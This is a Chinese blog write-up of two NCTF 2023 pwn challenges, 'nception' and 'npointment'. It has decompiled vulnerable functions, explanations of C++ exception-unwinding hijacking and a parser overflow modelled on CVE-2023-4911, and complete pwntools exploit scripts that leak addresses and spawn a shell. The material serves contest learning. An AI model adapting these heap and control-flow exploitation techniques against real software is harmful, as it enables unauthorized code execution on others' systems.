本文最后更新于:2024年1月23日 下午
2023-nctf-部分赛题复现
额,好久都没写博客了,主要是懒。。。
这个赛题复现文章也是鸽了好久。这次nctf的题总体感觉还是不错的,就复现了两道比较有趣(难)的题。
nception
这道题使用C++写的,经典增删改查操作。比较好的一点是,程序没有去符号,逆向起来不是很难。
add
功能固定分配0x18的控制块与0x200的buffer。
show
与 destroy
函数没什么好说的,就正常打印与删除功能,实现上没有漏洞。
edit
函数存在漏洞点,这里我们仔细分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| void __cdecl edit() { std::invalid_argument *exception; unsigned __int64 v1; std::invalid_argument *v2; __int64 v3; unsigned int idx; unsigned int off; test *victim; char *target_buf; unsigned __int64 avail_size; char buf[512]; unsigned __int64 v10;
v10 = __readfsqword(0x28u); std::operator<<<std::char_traits<char>>(&std::cout, "To write object, input idx: "); std::istream::operator>>(&std::cin, &idx); if ( idx > 6 || !ptrs[idx] ) { exception = __cxa_allocate_exception(0x10uLL); std::invalid_argument::invalid_argument(exception, "Invalid idx"); __cxa_throw(exception, &`typeinfo for'std::invalid_argument, &std::invalid_argument::~invalid_argument); } victim = ptrs[idx]; std::operator<<<std::char_traits<char>>(&std::cout, "Now data offset: "); std::istream::operator>>(&std::cin, &off); target_buf = test::getbuf(victim, off); avail_size = test::getsize(victim, target_buf); if ( avail_size ) { std::operator<<<std::char_traits<char>>(&std::cout, "Now input your data: "); std::operator>><char,std::char_traits<char>>(&std::cin, buf); v1 = strlen(buf); if ( avail_size < v1 ) { v2 = __cxa_allocate_exception(0x10uLL); std::invalid_argument::invalid_argument(v2, "Buf too long"); __cxa_throw(v2, &`typeinfo for'std::invalid_argument, &std::invalid_argument::~invalid_argument); } strncpy(target_buf, buf, avail_size); } v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Done!"); std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); }
|
edit
函数存在溢出漏洞,但是使用异常处理对错误进行捕获,大概率是劫持C++异常执行流。
程序存在两处异常执行流。但比赛时眼拙,只找到了一个,又没写出来。。。
第一处,main
函数的错误处理。这个成功捕获异常的话,会回到main
函数重新执行。
第二处,cleanup
函数的错误处理。这个成功捕获的话,会调用leave; ret
恢复栈帧,但是会关闭所有输入输出流。
根据作者博客所言,预期解是利用cleanup
这个错误处理,执行rop链获取shell。但是这个rop过于复杂,看得脑袋都晕了才大致明白,想了解rop如何构造的话,还是看题目作者的博客吧。
这里我主要是针对LaoGong战队的利用方法进行复现。
利用思路如下:
- 利用
edit
溢出覆盖rbp与ret地址
- 利用错误处理unwind过程中恢复栈帧这一原理劫持
main
函数的rbp
- 修改控制块指向的buf,构造buffer重叠,获得任意地址读写
- 劫持tls结构体获取shell
这里针对第二步与第三步进行调试。
异常处理回溯到main函数的catch中。
调用__cxa_begin_catch
后会将libcpp.so地址写入相对于rbp偏移的地址,可以泄露libcpp地址。
写入libcpp地址的同时,覆盖控制块的buffer,变相构造了堆重叠,从而可以编辑下一个堆块的buffer。
继续执行,可以看到成功构造buffer重叠。
最终wp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135
| from pwn import *
context.arch = 'amd64' context.log_level = 'debug'
fn = './pwn' elf = ELF(fn) libc = ELF('./libc.so.6') ld = ELF('./ld-linux-x86-64.so.2')
debug = 1 if debug: p = process(fn) else: p = remote()
def dbg(s=''): if debug: gdb.attach(p, s) pause()
else: pass
lg = lambda x, y: log.success(f'{x}: {hex(y)}')
def menu(index): p.sendlineafter('your choice: ', str(index))
def add(): menu(1)
def show(index): menu(3) p.sendlineafter('you want to read?', str(index))
def edit(index, offset, content): menu(2) p.sendlineafter('input idx: ', str(index)) p.sendlineafter('data offset: ', str(offset)) p.sendlineafter('your data: ', content)
def delete(index): menu(4) p.sendlineafter('you want to destroy?', str(index))
def ROL(content, key): tmp = bin(content)[2:].rjust(64, '0') return int(tmp[key:] + tmp[:key], 2)
alarm_got = elf.got['alarm']
bss = 0x406000 + 0x400 error = 0x402DC5
leave_ret = 0x402F1D
add() delete(0) add() show(0) p.recvuntil(b"Data: ") heapleak = u16(p.recv(2)) heap_base = (heapleak - 0x11) << 12 lg('heap_base', heap_base)
fakeheap = heap_base + 0x11eb0
dbg(''' b *0x4027b2 b *0x7ffff7cae4c6 b *0x418ea0 b *0x402d21 ''')
edit(0, 0, b'@' * 0x200 + b'#' * 0x20 + p64(fakeheap + 0x18)[0:7]) show(0) p.recvuntil(b'Data: ') libcpp_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x20c270 lg('libcpp_base', libcpp_base)
add() edit(0, 0x50, p64(alarm_got)) edit(0, 0x58, p64(0x10)) show(1)
alarm = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) libc_base = alarm - 0xd3b60 lg('libc_base', libc_base)
ld_base = libc_base + 0x5ac000 lg('ld_base', ld_base)
system = libc_base + libc.sym['system'] binsh = libc_base + libc.search(b'/bin/sh').__next__()
tls = libc_base + 0x484740 lg('tls', tls)
tls_dtor_list = tls - 0x78 fake_dtor = heap_base + 0x12410
edit(0, 0x50, p64(tls + 0x30)) show(1)
p.recvuntil('Data: ') point_guard = u64(p.recv(8)) lg('point_guard', point_guard)
add() edit(0, 0x50, p64(tls_dtor_list)) edit(0, 0x58, p64(0x10)) edit(1, 0, p64(fake_dtor))
target = ROL(system ^ point_guard, 0x11) lg('target', target)
edit(2, 0x10, p64(target)) edit(2, 0x18, p64(binsh))
menu(5)
p.interactive()
|
npointment
这道题整体逆向起来也不是很难。
但是这道题有一个比较奇怪的函数sub_14B3
(一看就是漏洞点)。说实话,比赛时看出来这个函数是对content内容进行解析,但是没太看懂这个函数实现细节。比较幸运的是,手动测出来了漏洞点,但还是因为没太看懂函数操作,没利用起来。
根据作者wp,这个程序漏洞点是对CVE-2023-4911的复刻。遂看了这个CVE,才大致理解程序的漏洞点。值得一提的是,这个CVE在利用上挺有趣的,感兴趣的师傅可以看看。
回到这道题上,其他功能没有问题。主要针对add
函数进行分析。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| unsigned __int64 __fastcall add(const char *a1) { char *s1a; int i; unsigned int j; chunk *chunk; char *v7; unsigned __int64 v8;
v8 = __readfsqword(0x28u); chunk = (chunk *)get_chunk(); if ( chunk ) { while ( 1 ) { for ( i = 0; a1[i] != ' ' && a1[i] && a1[i] != '='; ++i ) ; if ( !a1[i] ) break; if ( a1[i] != ' ' ) { a1[i] = 0; if ( !strcmp(a1, "content") ) { s1a = (char *)&a1[i + 1]; for ( j = 0; s1a[j]; ++j ) ; v7 = strdup(s1a); if ( v7 ) { parse_content(v7, (__int64)s1a); chunk->size = j; chunk->content = v7; } else { puts("Failed to alloc appointment."); if ( chunk->content ) { free(chunk->content); chunk->content = 0LL; } chunk->size = 0; } }
|
add
函数调用strdup
函数申请堆块,并调用parse_content
函数处理用户输入的content。这里需要关注函数参数,第一个参数是strdup
申请出来的,第二个参数单纯是复制栈上的content内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| unsigned __int64 __fastcall parse_content(char *heap, __int64 content) { size_t v2; int v3; char *v4; int v5; int v6; int v7; int v9; int i; unsigned int j; int k; unsigned int m; char *_heap; char *v15; char *__heap; __int64 v17; unsigned __int64 v18;
v18 = __readfsqword(0x28u); _heap = heap; v9 = 0; while ( 1 ) { __heap = _heap; for ( i = 0; _heap[i] != '=' && _heap[i] != ':' && _heap[i]; ++i ) ; if ( !_heap[i] ) return v18 - __readfsqword(0x28u); if ( _heap[i] == ':' ) { _heap += (unsigned int)(i + 1); } else { _heap += (unsigned int)(i + 1); v17 = _heap - heap + content; for ( j = 0; _heap[j] != ':' && _heap[j]; ++j ) ; for ( k = 0; k <= 2; ++k ) { v2 = strlen((&key_content)[k]); if ( !strncmp((&key_content)[k], __heap, v2) ) { if ( v9 ) { v3 = v9++; heap[v3] = ':'; } v15 = (&key_content)[k]; while ( *v15 ) { v4 = v15++; v5 = v9++; heap[v5] = *v4; } v6 = v9++; heap[v6] = '='; for ( m = 0; m < j; ++m ) { v7 = v9++; heap[v7] = *(_BYTE *)((int)m + v17); } *(_BYTE *)(j + v17) = 0; break; } } if ( _heap[j] ) _heap += j + 1; } } }
|
当变量名为key_content中的字符串时,会进一步处理,也就是进行字符串复制操作,否则就单纯遍历content。
这里以输入date=date=a
为例。经过第一轮while循环,heap内容为date=date=a,但是_heap[j]为空,所以_heap不变,指向date=d
ate=a。经过第二轮while循环,已经产生了越界,此时heap内容为date=date=a:date=a
,但是_heap[j]依旧为空,所以_heap依然不变,但是_heap指向heap,而heap已经改变了,间接影响了_heap。此时_heap指向date=date=a
:date=a。经过第三轮while循环,由于a后面是:,所以heap不变,_heap指向date=date=a:d
ate=a。经历第四轮while循环,产生了越界读,此时heap内容为date=date=a:data=a:date=\0
,_heap指向date=date=a:date=a
:date=\0。第五轮while循环类似于第三轮,没什么好说的,就不说了,此时_heap指向date=date=a:date=a:d
ate=\0。经过第六轮while循环,heap内容变为date=date=a:date=a:date=\0:date=
,此时_heap指向date=date=a:date=a:date=\0
。在下一轮while循环中退出循环。
可以看到,这个函数确实是比较恶心,但是仔细分析也是能够看出来具体操作的。
利用思路:
- 利用越界读,覆盖下一个chunk的大小,构造堆重叠
- 释放大于tcache的chunk,泄露libc地址,并合理泄露heap地址
- 打tcache的next指针,获取任意地址写
- 由于使用
strdup
分配内存,而strdup
实现过程中调用了strlen
,覆盖stelen_got表为system
即可。
最终wp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import * import warnings
warnings.filterwarnings("ignore", category=BytesWarning)
context.arch = 'amd64' context.log_level = 'debug'
fn = './npointment-release' elf = ELF(fn) libc = ELF('./libc.so.6')
debug = 1 if debug: p = process(fn) else: p = remote()
def dbg(s=''): if debug: gdb.attach(p, s) pause()
else: pass
lg = lambda x, y: log.success(f'{x}: {hex(y)}')
def add(content): p.sendlineafter('$ ', b'add content=' + content)
def delete(index): p.sendlineafter('$ ', b'delete index=' + str(index).encode())
def show(): p.sendlineafter('$ ', b'show ')
add(b'a') add(b'a') add(b'a') add(b'a' * 0x500) add(b'a')
delete(0)
add(b'date=date=aaaaaaaaa\0' + b'b' * 21 + p64(0x531))
delete(2) add(b'a') add(b'a' * 0x600)
show() libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ff130 lg('libc_base', libc_base)
strlen = libc_base + 0x1fe080 system = libc_base + libc.sym['system']
add(b'a') delete(6)
show()
p.recvuntil('Appointment #3') p.recvuntil('Content: ') key = u64(p.recv(5).ljust(8, b'\x00')) lg('key', key) heapbase = key << 12 lg('heapbase', heapbase)
add(b'a') add(b'a' * 0x4e0)
add(b'a') add(b'a') add(b'a') add(b'a') add(b'a') add(b'a' * 0x400) add(b'a')
delete(11) delete(12) delete(8)
payload = b'date=date=aaaaaaaaa\0' payload += b'b' * 21 + p64(0x471) add(payload)
delete(10)
add(b'a' * 0x40 + p64(strlen ^ key)) add(b'a') add(p64(system))
add(b'/bin/sh')
p.interactive()
|
参考文章
https://blog.unauth401.tech/2023nctf/#nception
https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt
https://ycznkvrmzo.feishu.cn/docx/FcpPdb6MfohmlDxkJ9DcXcdincc
https://blog.xmcve.com/2023/12/28/NCTF2023-Writeup/